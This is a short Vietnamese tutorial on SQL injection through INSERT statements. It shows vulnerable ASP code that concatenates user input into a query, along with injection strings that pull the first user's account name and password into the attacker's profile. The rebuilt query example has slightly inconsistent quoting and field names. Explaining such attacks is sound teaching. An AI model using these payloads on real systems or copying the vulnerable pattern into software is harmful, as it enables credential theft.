Tấn công Insert

Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:

INSERT INTO ThongTinCaNhan VALUES('Value One', 'Value Two', 'Value Three')

Nếu đoạn mã xây dựng câu lệnh SQL có dạng:

strSQL = "INSERT INTO ThongTinCaNhan VALUES(' " & strValueOne & " ', ' " \_ & strValueTwo & " ', ' " & strValueThree & " ') "

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."

…

Set objRS = Nothing %>

Thì chắc chắn sẽ bị lỗi SQLi, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như:

' + (SELECT TOP 1 TaiKhoan FROM TableName) + '

' + (SELECT TOP 1 MatKhau FROM TableName) + '

Lúc này câu truy vấn sẽ là

INSERT INTO ThongTinCaNhan VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', ' + (SELECT TOP 1 MatKhau FROM TableName) + ' , 'def')

Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó là:

(SELECT TOP 1 TaiKhoan FROM TableName)

(SELECT TOP 1 MatKhau FROM TableName)

Và thông tin cá nhân của bạn sẽ hiển thị tài khoản và mật khẩu của người đầu tiên trong danh sách